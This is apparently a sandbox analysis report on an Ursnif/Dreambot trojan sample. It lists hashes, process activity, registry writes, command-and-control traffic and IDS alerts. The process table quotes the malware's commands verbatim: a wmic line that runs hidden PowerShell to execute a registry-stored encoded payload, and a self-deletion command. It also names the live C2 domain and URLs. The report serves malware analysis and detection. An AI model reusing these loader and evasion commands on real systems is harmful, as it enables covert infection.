| File name: | Jsi.bin.zip |
| Full analysis: | https://app.any.run/tasks/d4dc549e-2d9b-4a54-ae47-55663c8ab19a |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | November 15, 2018, 14:13:00 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract |
| MD5: | 0CB213F656452AF64212BA4D369F9CAA |
| SHA1: | 9035A9A3C6ABF24ABC6D53FE2EF6D27F33642782 |
| SHA256: | 1A1851039F5B09018F6607B5E57485E7C098F732884D5502980BDB48D7D3FEF0 |
| SSDEEP: | 1536:3uLNQc9ItWfzyJu7Uc/NQ08MW16n3K9UZ8PAtrPtz9XUuGV8c02E2rwuZ4DzX8xy:3EiEIc2JsBle1164UZxB5IefhWKb |
MALICIOUS
URSNIF was detected
- iexplore.exe (PID: 2680)
- iexplore.exe (PID: 292)
Connects to CnC server
- iexplore.exe (PID: 2680)
- iexplore.exe (PID: 292)
Application was dropped or rewritten from another process
- Jsi.exe (PID: 3896)
- Jsi.exe (PID: 3652)
Application was injected by another process
- explorer.exe (PID: 1728)
Runs PING.EXE for delay simulation
- cmd.exe (PID: 3108)
Runs injected code in another process
- powershell.exe (PID: 3512)
SUSPICIOUS
Executable content was dropped or overwritten
- WinRAR.exe (PID: 3216)
Starts CMD.EXE for commands execution
- explorer.exe (PID: 1728)
Creates files in the user directory
- powershell.exe (PID: 3512)
Uses WMIC.EXE to create a new process
- explorer.exe (PID: 1728)
INFO
Reads Internet Cache Settings
- iexplore.exe (PID: 292)
- iexplore.exe (PID: 2680)
Reads internet explorer settings
- iexplore.exe (PID: 2680)
- iexplore.exe (PID: 292)
Application launched itself
- iexplore.exe (PID: 2092)
Creates files in the user directory
- iexplore.exe (PID: 2680)
Changes internet zones settings
- iexplore.exe (PID: 2092)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 788 |
|---|---|
| ZipBitFlag: | 0x0001 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2018:11:15 14:30:18 |
| ZipCRC: | 0xcf76bf78 |
| ZipCompressedSize: | 107560 |
| ZipUncompressedSize: | 201198 |
| ZipFileName: | Jsi.bin |
Total processes
51
Monitored processes
15
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 292 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2092 CREDAT:203009 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1728 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2016 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\51uhe1vm.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) Modules
| |||||||||||||||
| 2092 | "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding | C:\Program Files\Internet Explorer\iexplore.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2552 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES78AB.tmp" "c:\Users\admin\AppData\Local\Temp\CSC78AA.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) Modules
| |||||||||||||||
| 2608 | "C:\Windows\system32\wbem\wmic.exe" /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB').crypptsp))" | C:\Windows\system32\wbem\wmic.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2680 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2092 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3076 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\fz0-s9ra.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) Modules
| |||||||||||||||
| 3108 | "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\admin\AppData\Local\Temp\Rar$EXb3216.20889\Jsi.exe" | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3216 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\Jsi.bin.zip" | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
Total events
1 327
Read events
1 154
Write events
169
Delete events
4
Modification events
| (PID) Process: | (3216) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3216) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3216) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3216) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\Jsi.bin.zip | |||
| (PID) Process: | (3216) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3216) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3216) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (3216) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (1728) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.zip\OpenWithList |
| Operation: | write | Name: | a |
Value: WinRAR.exe | |||
| (PID) Process: | (1728) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.zip\OpenWithList |
| Operation: | write | Name: | MRUList |
Value: a | |||
Executable files
1
Suspicious files
5
Text files
12
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3216 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\__rzi_3216.20814 | — | |
MD5:— | SHA256:— | |||
| 2092 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 2092 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 2092 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D2YPIJ90\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 2092 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF40B62AD93121F069.TMP | — | |
MD5:— | SHA256:— | |||
| 2092 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF37C1840A0D076BCA.TMP | — | |
MD5:— | SHA256:— | |||
| 2092 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFF575F287BD1E3F66.TMP | — | |
MD5:— | SHA256:— | |||
| 2092 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{B5964969-E8E0-11E8-A505-5254004AAD11}.dat | — | |
MD5:— | SHA256:— | |||
| 3512 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I5SBTL5H8NSEWR2W3XLX.temp | — | |
MD5:— | SHA256:— | |||
| 2016 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSC78AA.tmp | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
4
DNS requests
2
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
292 | iexplore.exe | GET | 200 | 46.17.46.114:80 | http://abbtggmaazzrt.com/images/XmTalIkVKfrJGM8/khFredExBkqpri4Pfz/2C8VraD1S/nqT_2BXxvhDaOUdge4Gl/3l3QPRsrmVNwhQ4yXUY/ZW4XyLn3n_2FaS9IyfpgHE/6ZUVG9YS56l3U/oAPHcD_2/FQN9jbT4MuyZUfdivvO_2Fe/fRtJQAdLEH/bpzt2XbcXXlCqeYIRCKO3/G.avi | RU | text | 1.74 Kb | malicious |
2680 | iexplore.exe | GET | 200 | 46.17.46.114:80 | http://abbtggmaazzrt.com/images/Cmhg83Kcm/WOMyXNL6GUya25Bu0JnU/_2Fr_2FQLZnKix4l303/F9PW1uutNDgYXithVwHhGf/QdtdpwiqXZnCe/egn3bNpD/TCVs0ap9ZSZgk_2FOgGztGQ/QmZEieJbPp/_2F20uLAn_2FyYatl/2uou3cuN/_2B2yjcmp9/7aZ.avi | RU | text | 158 Kb | malicious |
2092 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
2092 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
2092 | iexplore.exe | GET | 200 | 46.17.46.114:80 | http://abbtggmaazzrt.com/favicon.ico | RU | image | 5.30 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2092 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2680 | iexplore.exe | 46.17.46.114:80 | abbtggmaazzrt.com | LLC Baxet | RU | malicious |
2092 | iexplore.exe | 46.17.46.114:80 | abbtggmaazzrt.com | LLC Baxet | RU | malicious |
292 | iexplore.exe | 46.17.46.114:80 | abbtggmaazzrt.com | LLC Baxet | RU | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
abbtggmaazzrt.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2680 | iexplore.exe | A Network Trojan was detected | SC SPYWARE TrojanSpy:Win32/Ursnif variant |
2680 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in |
292 | iexplore.exe | A Network Trojan was detected | SC SPYWARE TrojanSpy:Win32/Ursnif variant |
292 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in |
4 ETPRO signatures available at the full report
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|